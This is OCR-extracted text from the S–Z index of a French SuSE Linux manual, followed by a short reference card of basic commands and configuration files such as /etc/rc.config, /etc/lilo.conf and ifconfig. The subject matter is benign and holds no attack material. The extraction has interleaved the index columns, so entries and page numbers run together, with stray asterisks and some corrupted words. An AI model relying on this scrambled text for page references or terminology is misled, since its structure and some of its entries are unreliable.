. 563 xsrv . . . . . . . . . . . . 239, 409 scwm . . . . . . . . . . . . . . . . . . . 277setserial . . . . . . . . . . .* * . 307, 312 xwm . . . . . . . . . . . . . . . . . . 267 Scwm . . . . . . . . . . . . . . . . . . 277 setup . . . . . . . . . . . . . * *. ii, 51, 57 zq . . . . . . . . . . . . . . . 419, 420 sdb . . . . . . . . . . . . . . . . . . . . 435 Setup . . . . . . 10, 50~52, 57,* * 58 Séries SDB . . . . . . . . . . . . . . . . . . . . . 7SETUP . . . . . . . 102, 341, 3* *42 Index . . . . . . . . . . . . . . . . . 98 sdb_de . . . . . . . . . . . . . . . . 435 setup.exe . . . . . . . . . . . * *. 62, 142 Recherche . . . . . . . . . . . . . 98 sdb_en . . . . . . . . . . 8, 184, 407 setup.exe . . . . . . . . * *. . . . . . 10 samba . . . . . . . . . . . . . 108, 413 Seagate ST01/02 . . . . . . . . 375 Setup.exe . . . . . . . . . . .* * . 50, 51 Samba . . . . . . . . . . . . . 229, 459 secchk . . . . . . . . . . . . . . . . 473 seyon . . . . . . . . . . . . . * *. 190, 409 Droits d'accès . . . . . . . . 231 Secteur d'amorçage . . . . . 118 sgcheck . . . . . . . . . . . .* * . . . . 312 sane . . . . . . . . . . . . . . . . . . . 312 Section Device . . . . . . . . . . 260 SGML . . . . . . . . . . . . . * *. . . . 409 SANE . . . . . . . . . . . . . . . . . . 312 Section Files . . . . . . . . . . . . 260 sh . . . . . . . . . . . . . . .* * . . 518, 534 Sanyo, CD-ROM . . . 382, 391 Section Keyboard . . . . . . . 260 shell . . . . . . . . . . . . .* * . . . . . . 476 Sauvegarde . . . . . . . . 113, 525 Section Monitor . . . . . . . . . 260 Shell . . . . . . . . . . . . . * *. . . . . . 525 Sauvegarde de données . . 113, Section Pointer . . . . . . . . . . 260 SHELL . . . . . . . . . . . . . * *. . . . . 527 492 Section Screen . . . . . . . . . . 260 shlibs5 . . . . . . . . . . . .* * . . . 409 sax . . . . . . . . . . . . . . . . . . . . 239secumod . . . . . . . . . . . . . . . 474 shutdown . . . . . . . . . . 44* *0, 483 sax . . . . . . . . . . . . . . . . . . . . 239 sed . . . . . . . . . . . . . . . . . . . . . . .S4hutdown . . . . . . . . . . * *. . . . 460 SaX vi, 26, 27, 114, 239~246, Send queue . . . . . . . . . . . . . 218 Siemens . . . . . . . . . . . . * *. . . . . . 3 248~251, 541 SuSEFax . . . . . . . . . . . . . 211 Signification des commandes . Scanner . . . . . . . voir Matériel, sendfax . . . . . . . . . . . . . . . . 211 494 Scanner sendfax . . . . . . . . . . . . . . . 211 Simple Network Paging Configuration . . . . . . . . . 100 sendmail . . . . . . 107, 157, 163, Protocol . . . . . . . . .* * . . . 221 Schéma . . . . . . voir PCMCIA, 205~207, 412, 456 SINUS Firewall I . . . . . . . .* * 478 Schéma sendmail . . . . . . . . . 471, 480 SLIP . . . . . . . . . . . . . .* * . . . . . 171 SCO-Unix . . . . . . . . . . . . . . 500 Sendmail . . . vi, 205, 408, 443 Smarthost . . . . . . . . . . .* * . . . 206 Screen . . . . . . . . . . . . . . . . . 260 Configuration . . . . . . . . . 107 SMB . . . . . . . . . . . . . . * *. . . . . 229 Scripts de démarrage . . . . 163 server.exe . . . . . . . . . . . . . . 119 smbmount . . . . . . . . . . . .* * . . 413 582 ___________________________________________________________________________________________________________________________I* *ndex__________________ SMC 9194 . . . . . . . . . . . . . . 389 Sony CDU535, CD-ROM . . . . SuSE SMC Ultra . . . . . . . . . . . . . 388 382, 391 Numéros de téléphone . 563 SMP . . . . . . . . . . . . . . 521, 526 Soundblaster 16 . . . . . . . . . 302 Services . . . . . . . . . . * *. . . . 563 Sélection du noyau . 38, 104 Sources . . . . . . . . . . . . . . . . . 95 SuSE PRESS . . . . . . . . . . * *. 229 SMTP . . . . . . . . . . . . . 205, 456 Compiler . . . . . . . . . . . . . 419 SuSEconfig . . x, 40, 115, 158, snd_au . . . . . . . . . . . . . . . . 305 Souris . . . . . . . . . . . . . . . . . . 453 166, 205, 207, 273, 283, snd_mod . . . . . . . . . . . . . . . 305 Bus . . . . . . . . . . . . . . . . . . 252 285, 321, 408, 439, 450, snd_wav . . . . . . . . . . . . . . . 305 Configuration . . . . . . . . . 100 451, 453, 457, 459, 534 SNiFF+ . . . . . . . . . . . . . . . . . 69 HiTablet . . . . . . . . . . . . . . 252 SuSEconfig . . . . . . . . . . .* * . . 450 SNPP . . . . . . . . . . . . . . . . . . 221 Logitech . . . . . . . . . . . . . 252 SuSEconfig.kdm . . . . . . . . * *273 so_fr . . . . . . . . . . . . . . . . . . 544 Logitech (MouseMan) . 252 susefax . . . . . . . . . . . 21* *1, 220 Software AG . . . . . . . . . . . . . . 3 Microsoft . . . . . . . . . . . . . 252 SuSEFax . . . vi, 211__, 211, 21* *2, Son . . . . . . . . . . . . . . . . . . . . 542 MM-Serie . . . . . . . . . . . . 252 216, 217, 220, 221 AD1816, chip . . . . . . . . . 392 Mouse Systems . . . . . . . 252 susefax.images AD1848/CS4248, chip pas d'accès possible . . . . 19 SuSEFax . . . . . . . . . . .* * . . 211 (MSS) . . . . . . . . . . . . . 392 PS/2 . . . . . . . . . . . . . . . . . 252 susefax.phonebook.file Aztech Sound Galaxy . . 397 Souris bus . . . . . . . . . . . . . . 252 SuSEFax . . . . . . . . . . .* * . . 211 Chipsets carte son DSP 398 Logitech . . . . . . . . . . . . . 380 susefax.setup.file Creative Ensoniq 1371, Sous-système Parport . . . . 307 SuSEFax . . . . . . . . . . .* * . . 211 chipset . . . . . . . . . . . . . 393 sox . . . . . . . . . . . . . . . . . . . . 305 susefax.setup.path Crystal 423x, chipsets . 393 sp . . . . . . . . . . . . . . . . . . . . . 409 SuSEFax . . . . . . . . . . .* * . . 211 Ensoniq 1370, chipset . 393 Spécifier les systèmes de susehilf . . . . . 184, 228, 435 Ensoniq SoundScape . . 397 fichiers . . . . . . . . . . . . . . 89 SuSE Linux . . . . . . . . .* * . . . 423 Gravis Ultrasound . . . . . 393 spindown . . . . . . . . . . . . . . . 329 Disposition du clavier . 443 MAD16 . . . . . . . . . . . . . . 393 Spool Installation . . . . . . . .* * . . . 429 MediaTrix AudioTrix Pro . . Définition . . . . . . . . . . . . 334 Particularités . . . . . . . * *. . . 423 397 squid . . . . . . . . . . . . . . . . . . . 458 Système d'aide . . . . . . . * *. 435 MPU401 . . . . . . . . . . . . . 394 squid . . . . . . . . . . . . . . . . . . 414 Système de secours . . . . 438 OPL3 . . . . . . . . . . . . . . . . 395 squid2 . . . . . . . . . . . . . . . . 414 OPL3-SA1 . . . . . . . . . . . 395 ssh . . . . . . . 114, 469, 476, 543 susepak . . . . . . . . . . . .* * . . . 435 OPL3-SAx . . . . . . . . . . . 395 ssh . . . . . . . . . . . 469, 476, 480 susewm . . 110, 265, 277, 278, OPLx, pilote générique 392 SSH . . . . . . . . . . . . . . . . . . . 515 283 Personal Sound System SSL . . . . . . . . . . . . . . . 470__, 515 Configurer . . . . . . . . . * *. . . 110 (ECHO ESC614) . . . . 396 Standby . . . . . . . . . . . . . . . . 327 Généralités . . . . . . . . * *. . . 282 Pro Audio Spectrum . . . 396 Star Division . . . . . . . . . . . . . . 3 Utilisation . . . . . . . . .* * . . . 284 S3 Sonic Vibes . . . . . . . . 397 Staroffice . . . . . . . . . . . . . . . . 69 susewm . . . . . . . . . . . . * *. . . . 282 Sound Blaster et clones 396 StarOffice . . . . . . . . . . 411, 544 susewm . . . . . . . . . . . . * *. . . . 282 Turtle Beach startx . . . . . . . . . . . . . . 109, 249 SuSEwm . . . . . . vii, 270, 27* *7, Classic/Monterey/Tahiti . . Stephan Endraß . . . . . . . . . . 12 282~286 394 Streamer . . . . . . voir Matériel, Suspend . . . . . . . . . . . . * *. . . . 327 Turtle Beach Maui et Tropez lecteurs de bandes Swap . . . . . . . . . . . . . .* * . 89, 526 394 SCSI . . . . . . . . . . . . . . . . . 371 swat . . . . . . . . . . . . . * *. . . . . . 234 Turtle Beach Maui, Tropez, suid . . . . . . . . . . . . . . . . . . . . 472Sybase . . . . . . . . . . . . .* * . . . 3, 69 Tropez Plus . . . . . . . . . 398 SunOS . . . . . . . . . . . . . . . . . 500 Syn Flood Protection . . . . 455 Turtle Beach MultiSound . . Super-serveur Internet . . . 475 syncPPP . . . . . . . . . . . 18* *0, 181 394 Support d'installation . . . . . 83 syslinux . . . . . . . . . . . * *425, 426 Turtle Beach Pinnacle/Fiji . . Support infrarouge . voir IrDA Syslinux . . . . . . . . . . . .* * . . . . . 57 394 Suppression SYSLINUX . . . . . . . . . . . * *. 370 UART401 . . . . . . . . . . . . 397 LILO . . . . . . . . . . . . . . . . 131 syslog . . . . . . . . . . . . .* * . . . . . 440 UART6850 . . . . . . . . . . . 398 Supprimer Sysrq . . . . . voir Noyau, Sys* *rq YMF71x . . . . . . . . . . . . . 395 Linux . . . . . . . . . . . . . . . . 131 Système Sony CDU31A . . . . . 382, 391 suse . . . . . . . . . . . . . . . . . . . . 271 Contrôle . . . . . . . . . . * *. . . . 336 Sony CDU33A . . . . . 382, 391 SuSE . . . . . . . . . . . . . . . . . . 423 Mise à jour . . . . . . . . * *. . . 403 * * 583 Index _________________________________________________________________________________________________________________* *_______________________________________@ Système CD Live voir System Tampon . . . . . . . . . . . . . . . . 527 Tripwire . . . . . . . . . . . .* * . . . . 472 Live tar . . . . . . . . . . . . . 73, 413, 443 TSI . . . . . . . . . . . . . . * *. . 218, 227 Système d'aide . . . . . . . . . . 435 tar . . . . . . . . . . . . . . . . . . . . 413tunelp . . . . . . . . . . . . * *. . . . . . 334 Système d'impression . . . voir tar . . . . . . . . . . . . . . . . . . . . 492Tux . . . . . . . . . . . . . * *. . . . . . . . . 7 Système de spool Tartempion S.A.R.L . . . . . . . 7 Type de souris . . . . . . . . * *. . 252 Système d'urgence . . . . . . 438 Task . . . . . . . . . . . . . . . . . . . 527 Système de fichiers . . . . . . 526 tcl . . . . . . . . . . . . . . . . . . . . 363 U FHS . . . . . . . . . . . . . . . . . 423 Tcl/Tk . . . . . . . . . . . . . . . . . 412 ugidd . . . . . . . . . . . . .* * . . . . . 168 ReiserFS . . . . . . . . . . . . . . 90 TCP-Wrapper . . . . . . . . . . . 479 ulimit . . . . . . . . . . .* * . . . . . 496 vfat . . . . . . . . . . . . . . . . . . . 91tcpd . . . . . . . . . . . . . . . . . . . . 479Ultrastor . . . . . . . . . . .* * . . . . 368 Système de fichiers Live . voir tcsh . . . . . . . . . . . . . . . 518, 534 UMSDOS . . . . . . . . . . . . .* * . 527 Système Live te_dvilj . . . . . . . . . . . . . . 340 Universal Serial Bus voir USB Système de secours . . . . . . 438 Telix . . . . . . . . . . . . . . . . . . . 190 Unix . . . . . . . . . . . . . .* * . . . . . 481 Démarrer . . . . . . . . . . . . . 439 telnet 106, 173, 440, 456, 462, Débuts . . . . . . . . . . . * *. . . . 481 Utilisation . . . . . . . . . . . . 440 476, 535, 543 UNIX . . . . 211, 221, 511, 516, Système de spool . . . . . . . . 333 Telnet . . . . . . . . . . . . . . . . . . 527 526, 527 apsfilter . . . . . . . . . . . . . . 340 termcap . . . . . . . . . . . . . . . . 442 Unix98 PTY . . . . . . . . . . .* * . 411 Composants . . . . . . . . . . 335 Terminal . . . . . . . . . . . . . . . 527 updatedb . . . . . . . . . . . * *. . . . 461 Configuration apsfilter . 341 Test mémoire . . . . . . . . . . . 370 URL . . . . . . . . . . . . . . * *. . . . . 527 Démon . . . . . . . . . . . . . . . 337 Tester une machine . . . . . . 433 USB . . . . . . . . . . . . . . * *. . . . . 308 Files d'impression . . . . . 338 teTeX . . . . . . . . . . . . . 410, 423 USENET . . . . . . . . . . . . .* * . . 208 Files d'impression apsfilter . Texinfo . . . . . . . . . . . . . . . . . 443 USER . . . . . . . . . . . . . .* * . . . . . 527 341 texpire . . . . . . . . . . . . . 208, 210 useradd . . . . . . . . . . . .* * . . . . 112 Filtres . . . . . . . . . . . 338, 339 Text userdel . . . . . . . . . . . . * *. . . . . 112 Imprimantes réseau . . . . 346 Rechercher . . . . . . . . . . . 491 USRobotics . . . . . . . . . . .* * . . 227 système live . . . . . . . . . . . . . 92 The Open Group . . . . . . . . 239 Utilisateur Système Live . . . . . . . . . . . 108 The XFree86 Project, Inc. 239 Créer . . . . . . . . . . . * *. . . . . 482 Système multiprocesseur . voir Thinkpad Utilisateurs SMP, voir SMP Première installation . . . . 62 uucGestionp ....................* *........111... . . 443 système X Window . . . . . . 239 tiff . . . . . . . . . . . . . . . . . . . 216 uucp . . . . . . . . . . . . . * *. . . x, 443 Système X Window . . . 4, voir TIFF Software . . . . . . . . . . 216 UUCP . . . . . . . . . . . . . 2* *05, 410 X11, 526 tiffg3 . . . . . . . . . . . . . . . . . . . 216 .Xresources . . . . . . . . . . . 287 tin . . . . . . . . . . . . . . . . . . . . . 210V Paramètres de l'utilisateur . . TIS Firewall Toolkit . . . . . 478 Vérifier . . . . . . . . . . . * *. . . . . 537 287 tk . . . . . . . . . . . . . . . . . . . . . 363Variable denvironnement Paramètres par défaut . . 286 tkinfo . . . . . . . . . . . . . . . . . . . 9 allowed . . . . . . . . . . * *. . . 346 Paramètres par défaut de tkInfo . . . . . . . . . . . . . . . . . . . . 9 DISPLAY . . . . . . . . . . * *. . . 525 l'application . . . . . . . 286 Tkinfo (tkinfo ) . . . . . . . . 443 FEATURE . . . . . . . . . . * *. . . 341 Systèmes de fichiers TMC-16x0 . . . . . . . . . 374, 384 GS_RESOL . . . . . . . . . . * *. . 354 déterminer . . . . . . . . . . . . . 77 TMC-885/950 . . . . . . . . . . 375 HOME . . 270, 274, 287, 346, système X Window . . . . . . 259 Token Ring . . . . . . . . . . . . . 389 524, 527 System Commander Deluxe . . top . . . . . . . . . . . . . . . . . . . . 499 KDEDIR . . . . . . . . . . .* * . . . 272 45 toppp . . . . . . . . . . . . . . . . . . 197 LANG . . . . . . . . . . . . * *. . . . . 452 System is too big . . . . . . . . 363 Touches de fonction LC_* . . . . . . . . . . . . * *. . . . . 452 System V . . . . . . . . . . . . . . . 445 Ne fonctionnent pas . . . . 81 MANPATH . . . . . . . . . 414* *, 527 traceroute . . . . . . . . . . . . . . 413 PATH 6, 199, 270, 272, 475, T Training . . . . . . . . . . . . . . . . 563 484, 527 T-ISDN-DSL . . . . . . . . . . . 189 Transmission Subscriber PRINTER . . . . . . . . . . * *. . . 335 Télécâble . . . . . . . . . . . . . . . 188 Identification . . . . . . . 218 run_ldconfig . . . . . . . 4* *15 Tâche . . . . . . . . . . . . . . . . . . 526 Trantor T128/128F/228 . . 375 SHELL . . . . . . . . . . . .* * . . . . 527 Tâche de fond . . . . . . . . . . . 526 Trantor T130B . . . . . 375, 384 USER . . . . . . . . . . . . * *. . . . . 527 Table des partitions . . . . . . 118 tripwire . . . . . . . 469, 472, 473 WINDOWMANAGER . 270, 277 Taille de l'installation . . . . . 94 tripwire . . . . . 469, 472, 473 VESA . . . . . . . . . . . . . .* * . . . . 263 584 ___________________________________________________________________________________________________________________________I* *ndex__________________ VG-AnyLAN . . . . . . . . . . . 388 wvdial vi, 172, 190, 191, 193, Section Monitor . . . . . . .* * 263 vi . 4, 440, 490, 506, 507, 514 194, 196, 197, 320, 321, Section Screen . . . . . . . * *. 260 Viren . . . . . . . . . . . . . . . . . . 543 331 Sous-section virtuoso . . . . . . . . . . . . . . . . . 69 wvdial . . . . . . . . . . . . . . . . 320 Display . . . . . . . . . . .* * . . . . 262 Virus . . . . . . . . . . . 45, 121, 469 wvdial . . . . . . . . . . . . . . . . 172 Viewport . . . . . . . . . . * *. . . 262 Visualiseur externe wvdial.lxdialog . . . . . . . . . 193 Virtual . . . . . . . . . . * *. . . . . 262 SuSEFax . . . . . . . . . . . . . 216 wvdial.tcl . . . . . . . . . . . . . . 193 XF86Setup . . . . 239, 259, 263 VLB . . . . . voir Bus local Vesa XFce . . . . . . . . . . . . . .* * . . . . . 267 X xfontsel . . . . . . . . . . . * *. . . . . 288 W X . . . . . . . . . . . . . . . . . voir X11 xformsd . . . . . . . . . . . .* * . . . 411 w . . . . . . . . . . . . . . . . . . . . . . 498X -probeonly . . . . . . . 257, 259 XFree86TM . . . . . . . . . . * *. . . 239 Wabi . . . . . . . . . . . . . . . . . . . . 69 X Consortium, Inc. . . . . 4, 239 xfsetup . . . . . . . . . . . .* * . . . 239 WAN . . . . . . . . . . . . . . 171, 528 X.75 . . . . . . . . . . . . . . . . . . . 180 xglint . . . . . . . . . . . . 4* *08, 409 WD80x3 . . . . . . . . . . . . . . . 389 X11 . . . . . . . . . . . . . . . . . . . . 239 xinetd . . . . . . . . . . . . * *. 456, 479 Werner Almesberger . . . . . 138 .Xresources . . . . . . . . . . . 287 xinetd . . . . . . . . . . . . * *. . . . 479 Western Digital WD80x3 389 Cartes graphiques . . . . . 254 xinfo . . . . . . . . . . . * *. . . . . . . . . 9 WfW . . . . . . . . . . . . . . . . . . 500 Configuration . . . . 240, 251 XInfo . . . . . . . . . . . . .* * . . . . . . . 9 wget . . . . . . . . . . . . . . . . . . . 459 Clavier . . . . . . . . . . . . . . . . 252 XInfo (xinfo ) . . . . . . . * *. . . 443 wget . . . . . . . . . . . . . . . . . . . 419 Moniteur . . . . . . . . . . . . . . 253 xlpq . . . . . . . . . . . . . .* * . . . . . 336 Wide Area Network voir WAN Serveur X . . . . . . . . . . . . . 254 xlsfonts . . . . . . . . . . . * *. . . . . 288 Widget . . . . . . . . . . . . . . . . . 286 Souris . . . . . . . . . . . . . . . . . 252 xntp . . . . . . . . . . . . . .* * . . . . . 459 Wildcards . . . . . . . . . . 488, 528 Démarrage trop lent . . . 284 xpmroot . . . . . . . . . . . . * *. . . . 278 Window . . . . . . . . . . . . . . . . 286 démarrer . . . . . . . . . . . . . 249 xrdb . . . . . . . . . . . . . * *. . . . . . 288 WindowMaker 267~269, 282, Gestionnaire d'affichage . . . xrpm . . . . . . . . . . . . . .* * . . . . . 420 283 460 xsetroot . . . . . . . . . . . .* * 278, 281 Windowmanager Optimisation . . . . . . . . . . 259 xsis . . . . . . . . . . . . . .* * . . . . . 409 théorie de base . . . . . . . . 265 Paramètres de l'utilisateur . . xterm . . . . . . . . . 173, 19* *0, 278 WINDOWMANAGER . . . 270, 277 287 xv . . . . . . . . . . . . . . .* * . . 278, 279 Windows . . . . . . . . . . 221, 546 Shutdown . . . . . . . . . . . . 460 xvga16 . . . . . . . . . . . . * *. . . . 239 Samba . . . . . . . . . . . . . . . 459 X11R1 . . . . . . . . . . . . . . . . . 239 xvidtune . . . . . . . . . . . .* * . . . . 251 SMB . . . . . . . . . . . . . . . . . 229 X11R6 . . . . . . . . . . . . . . . . . 239 Xwrapper . . . . . . . . . . . * *. . . 408 Windows . . . . . . . . . . . . . . . 229 X11R6.3 . . . . . . . . . . . . . . . 239 Windows NT . . 211, 229, 500, x3dlabs . . . . . . . . . . . . . . . 409 Y 526 xarchie . . . . . . . . . . . . 286, 287 yast Amorçage . . . . . . . . . . . . 135 xcyrix . . . . . . . . . . . . . . . . 409 ISDN . . . . . . . . . . . .* * . . . . 176 Gestionnaire d'amorçage . . . xdm . . . . . . . . . . 109, 408, 453 yast . . . . . . . . . . . . * *. . 6, 43, 81 119 XDM . . . . . 109, 110, 270, 403 YaST . ii, iii, v, 2, 5, 6, 10, * *15, Windows 95 xdvi . . . . . . . . . . . . . . . . . . . 481 16, 22, 23, 27~29, 32~43, Amorçage . . . . . . . . . . . . 134 XDvi . . . . . . . . . . . . . . . . . . 481 45, 48, 56, 64, 68, 75~77, Créer des partitions Linux . . xearth . . . . . . . . . . . . . . . . . . 278 79~84, 86, 88, 93, 95~100, 55, 56 Xenix . . . . . . . . . . . . . . . . . . 500 102, 104~106, 108, 109, Mode DOS . . . . . . . . . . . . 50 xf86 . . . . . . . . . . . . . . . . . . . 363 111~115, 123, 130, 134, Windows 98 voir Windows 95 xf86config 239, 251, 257, 259, 140, 153, 154, 156~158, Windows 9x 263 162, 163, 166, 173, 174, Menu de démarrage . . . 143 XF86Config . . . . . . . . . . . . 251 176~184, 189~196, 205, WinFlex . . . . . . . . . . . . . . . . 221 Clocks . . . . . . . . . . . . . . . 262 207, 209, 239, 240, 245, WinFlex . . . . . . . . . . . . . . . . 221 Depth . . . . . . . . . . . . . . . . 262 270, 273, 277, 284, 285, WINS . . . . . . . . . . . . . . . . . . 230 Device . . . . . . . . . . . . . . . 261 297, 305, 315, 319~321, Wrapper modeline . . . . . . . . . . . . . 262 323, 328, 331, 333, 341, SuSEFax . . . . . . . . . . . . . 211 Modes . . . . . . . . . . . . . . . 262 343, 346, 347, 353~355, WU-FTPD . . . . . . . . . . . . . 412 Monitor . . . . . . . . . . . . . . 261 360, 405~410, 413, wuftpd . . . . . . . . . . . . . . . . . 408 Pilote . . . . . . . . . . . . . . . . 261 419~421, 426, 435, 436, wuftpd . . . . . . . . . . . . . . . . 412 Section Device . . . . . . . . 262 438, 450~453, 455, 468, * * 585 Index _________________________________________________________________________________________________________________* *_______________________________________@ 472, 482, 514, 520, Inclure des paquetages . . 98 XFree . . . . . . . . . . . .* * . . . . 114 531~534, 543, 544 Index de toutes les séries et YaST . . . . . . . . . . . . . * *. . . . . . 81 LILO . . . . . . . . . . . 103, 104 paquetages . . . . . . . . . . 98 YaST1 . . . . . . . . . . . ix, * *32, 404 Administration . . . . . . . . 100 Intégrer le matériel . . . . 100 YaST2 i, ix, 15, 17~23, 25, 26, Configuration de l'amorçage kdm . . . . . . . . . . . . . . . . . 109 28, 326, 404 103 Lecture du fichier fstab 93 Intégrer la souris . . . . .* * . . 19 Configurations . . . . . . 82, 94 Menu principal . . . . . . . . . 82 Intégrer le clavier . . . . * *. . 19 Configurer l'imprimante . . . Mettre à jour le système 100 Sélection de la zone horaire 101 Noyau d'amorçage . . . . 103 19 Configurer la carte réseau . . Partitionner . . . . . . . . . . . . 88 Yellow Pages . . . . . . . . voi* *r YP 100 Point de montage . . . . . . . 91 YP Configurer la souris . . . 100 Réseau . . . . . . . . . . . . . . . 106 Client . . . . . . . . . . . * *. . . . . 107 Configurer le lecteur de Sécurité du système . . . 114 Configurer le client . . . . * *107 CD-ROM . . . . . . . . . . 100 Sélection des paquetages 95 Configurer le modem . . 100 Sélection des séries . . . . . 95 Nom de domaine . . . . . . 457 Configurer le scanner . . 100 Sélection du noyau . . . . 104 Serveur . . . . . . . . . . * *. . . . 457 Créer une disquette de Sélectionner la disposition yp.conf . . . . . . . . . . . . * *. . . . . 166 secours . . . . . . . . . . . . . 104 du clavier . . . . . . . . . . . 83 ypbind . . . . . . . . . . . . * *. . . . . 166 Déterminer la langue . . . 83 Sauvegarde . . . . . . . . . . . 113 ypclient . . . . . . . . . 107,* * 165 Déterminer le type du Spécifier les systèmes de ypserv . . . . . . . . . . . . * *. . . . 167 système de fichiers . . . 90 fichiers . . . . . . . . . . . . . . 89 ypserver . . . . . . . . . . . .* * . . . . 166 Densité des I-noeuds . . . . 91 Support d'installation . . . 83 Disposition du clavier . . . 81 susewm . . . . . . . . . . . . . . 110 Effacer des paquetages . 100 Touches de fonction . . . . 81 Z Fichier de configuration 114 Vérifier les dépendances des Zone horaire . . . . . . . . . .* * . . 452 Formatage . . . . . . . . . . . . . 93 paquetages . . . . . . . . . . 98 Zones d'E/S Gestion de groupes . . . . 112 Volume de l'installation . 94 protéger . . . . . . . . . . * *. . . . 370 Gestion utilisateurs . . . . 111 xdm . . . . . . . . . . . . . . . . . 109 réserver . . . . . . . . . .* * . . . . 370 586 Référence : Commandes/fichiers importants Les espaces (angl. blanks) sont essentiels dans les commandes en tant que ``séparateurs'' et doivent par conséquent être entrés avec le clavier comme ``caractères vides'' ! Voir aussi la légende au paragraphe 1.3 page 6. Information/documentation less Voir le fichier texte cd Passe dans un répertoire (erreur : cdRépertoire ~ L'espace après cd est absolument indispensable !) ls -l Liste le contenu du répertoire/les propriétés du fichier rpm -qi Information sur un paquetage man Page de man concernant une commande /usr/doc/howto Les nombreux HOWTO sur tous les sujets /usr/doc/packages/* Documentation pour le paquetage concerné /usr/doc/packages/i4l/README.Quick Documentation relative à ISDN Fichiers de configuration et fichiers de traces (log) généraux ~ Synonyme du répertoire personnel /etc Répertoire pour fichiers de configuration /etc/modules.conf Chargement automatique de modules /etc/rc.config Fichier de configuration principal SuSE Linux /etc/rc.config.d Répertoire pour les composants de /etc/rc.config /etc/profile Fichier de configuration du shell de login (bash ) /etc/profile.d Répertoire pour les composants de /etc/profile ~/.profile Extensions de l'utilisateur à /etc/profile voir aussi ~/.bashrc et ~/.bashrc_login /var/log Répertoire pour les logs du système /var/log/messages Fichiers de traces généraux du système /var/log/boot.msg Messages de boot du noyau Démarrage du système /etc/lilo.conf Fichier de configuration LILO /sbin/init.d Répertoire pour les scripts de démarrage du système Configuration X /etc/XF86Config Fichier de configuration du serveur X ~/.X.err Messages du serveur X /var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx Le serveur X Réseau /sbin/ifconfig Afficher la configuration de l'interface réseau /sbin/route -n Afficher la table de routage ping Tester l'accessibilité d'un hôte